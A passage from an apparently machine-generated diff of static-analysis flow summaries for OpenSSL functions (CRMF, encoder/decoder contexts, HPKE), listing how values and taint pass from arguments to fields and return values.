"(OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_free", "(OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKMACVALUE_free", "(OSSL_CRMF_PKMACVALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKMACVALUE_free", "(OSSL_CRMF_PKMACVALUE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOPRIVKEY_free", "(OSSL_CRMF_POPOPRIVKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOPRIVKEY_free", "(OSSL_CRMF_POPOPRIVKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO_free", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO_free", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEYINPUT_free", "(OSSL_CRMF_POPOSIGNINGKEYINPUT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEYINPUT_free", "(OSSL_CRMF_POPOSIGNINGKEYINPUT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEY_free", "(OSSL_CRMF_POPOSIGNINGKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEY_free", "(OSSL_CRMF_POPOSIGNINGKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPO_free", "(OSSL_CRMF_POPO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPO_free", "(OSSL_CRMF_POPO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PRIVATEKEYINFO_free", "(OSSL_CRMF_PRIVATEKEYINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PRIVATEKEYINFO_free", "(OSSL_CRMF_PRIVATEKEYINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_SINGLEPUBINFO_free", "(OSSL_CRMF_SINGLEPUBINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_SINGLEPUBINFO_free", "(OSSL_CRMF_SINGLEPUBINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[1]", "ReturnValue[*].Field[**salt].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[1]", "ReturnValue[*].Field[**salt].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[2]", "ReturnValue[*].Field[**owf].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[2]", "ReturnValue[*].Field[**owf].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[3]", "ReturnValue[*].Field[**iterationCount].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[4]", "ReturnValue[*].Field[**mac].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[4]", "ReturnValue[*].Field[**mac].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_DAY_TIME_BAND_free", "(OSSL_DAY_TIME_BAND *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_DAY_TIME_BAND_free", "(OSSL_DAY_TIME_BAND *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_DAY_TIME_free", "(OSSL_DAY_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_DAY_TIME_free", "(OSSL_DAY_TIME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_cleanup", "(OSSL_DECODER_CTX *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_construct", "(OSSL_DECODER_CTX *)", "", "Argument[*0].Field[*construct]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_construct_data", "(OSSL_DECODER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_construct_data", "(OSSL_DECODER_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_construct_data", "(OSSL_DECODER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_num_decoders", "(OSSL_DECODER_CTX *)", "", "Argument[*0].Field[**decoder_insts].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*].Field[**construct_data].Field[***object]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**construct_data].Field[**object]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**start_input_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**input_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[**construct_data].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**construct_data].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*start_input_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*input_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[**construct_data].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[**construct_data].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[**construct_data].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_cleanup", "(OSSL_DECODER_CTX *,OSSL_DECODER_CLEANUP *)", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_construct", "(OSSL_DECODER_CTX *,OSSL_DECODER_CONSTRUCT *)", "", "Argument[1]", "Argument[*0].Field[*construct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_construct_data", "(OSSL_DECODER_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_construct_data", "(OSSL_DECODER_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_construct_data", "(OSSL_DECODER_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_input_structure", "(OSSL_DECODER_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**input_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_input_structure", "(OSSL_DECODER_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*input_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_input_type", "(OSSL_DECODER_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**start_input_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_input_type", "(OSSL_DECODER_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*start_input_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_selection", "(OSSL_DECODER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[**decoder]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[*decoder]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder_ctx", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder_ctx", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder_ctx", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_structure", "(OSSL_DECODER_INSTANCE *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_structure", "(OSSL_DECODER_INSTANCE *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_structure", "(OSSL_DECODER_INSTANCE *,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_type", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[**input_type]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_type", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[*input_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_from_bio", "(OSSL_DECODER_CTX *,BIO *)", "", "Argument[*1]", "Argument[*1].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_from_bio", "(OSSL_DECODER_CTX *,BIO *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_from_data", "(OSSL_DECODER_CTX *,const unsigned char **,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_from_data", "(OSSL_DECODER_CTX *,const unsigned char **,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_get0_name", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_get0_name", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_get0_provider", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_get0_provider", "(const OSSL_DECODER *)", "", "Argument[*0].Field[*base].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_get_num_encoders", "(OSSL_ENCODER_CTX *)", "", "Argument[*0].Field[**encoder_insts].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**output_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**output_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*output_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_new_for_pkey", "(const EVP_PKEY *,int,const char *,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*output_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_cleanup", "(OSSL_ENCODER_CTX *,OSSL_ENCODER_CLEANUP *)", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_construct", "(OSSL_ENCODER_CTX *,OSSL_ENCODER_CONSTRUCT *)", "", "Argument[1]", "Argument[*0].Field[*construct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_construct_data", "(OSSL_ENCODER_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_construct_data", "(OSSL_ENCODER_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_construct_data", "(OSSL_ENCODER_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_output_structure", "(OSSL_ENCODER_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**output_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_output_structure", "(OSSL_ENCODER_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*output_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_output_type", "(OSSL_ENCODER_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**output_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_output_type", "(OSSL_ENCODER_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*output_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_CTX_set_selection", "(OSSL_ENCODER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[**encoder]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[*encoder]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder_ctx", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder_ctx", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_encoder_ctx", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_output_structure", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[**output_structure]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_output_structure", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[*output_structure]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_output_type", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[**output_type]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_INSTANCE_get_output_type", "(OSSL_ENCODER_INSTANCE *)", "", "Argument[*0].Field[*output_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_get0_name", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_get0_name", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_get0_provider", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_get0_provider", "(const OSSL_ENCODER *)", "", "Argument[*0].Field[*base].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_to_data", "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_to_data", "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_to_data", "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ENCODER_to_data", "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ESS_signing_cert_new_init", "(const X509 *,const stack_st_X509 *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ESS_signing_cert_v2_new_init", "(const EVP_MD *,const X509 *,const stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_GENERAL_NAMES_print", "(BIO *,GENERAL_NAMES *,int)", "", "Argument[*1].Field[**data]", "Argument[*1].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HASH_free", "(OSSL_HASH *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_HASH_free", "(OSSL_HASH *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_HPKE_CTX_get_seq", "(OSSL_HPKE_CTX *,uint64_t *)", "", "Argument[*0].Field[*seq]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*mode]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*suite]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*role]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_new", "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_authpriv", "(OSSL_HPKE_CTX *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_ikme", "(OSSL_HPKE_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ikme]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_ikme", "(OSSL_HPKE_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**ikme]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_ikme", "(OSSL_HPKE_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ikmelen]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**pskid]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[*2]", "Argument[*0].Field[**psk]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**pskid]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**psk]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set1_psk", "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*psklen]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_CTX_set_seq", "(OSSL_HPKE_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*seq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_encap", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_ciphertext_size", "(OSSL_HPKE_SUITE,size_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_get_grease_value", "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_keygen", "(OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_open", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[6]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[4]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HPKE_seal", "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char 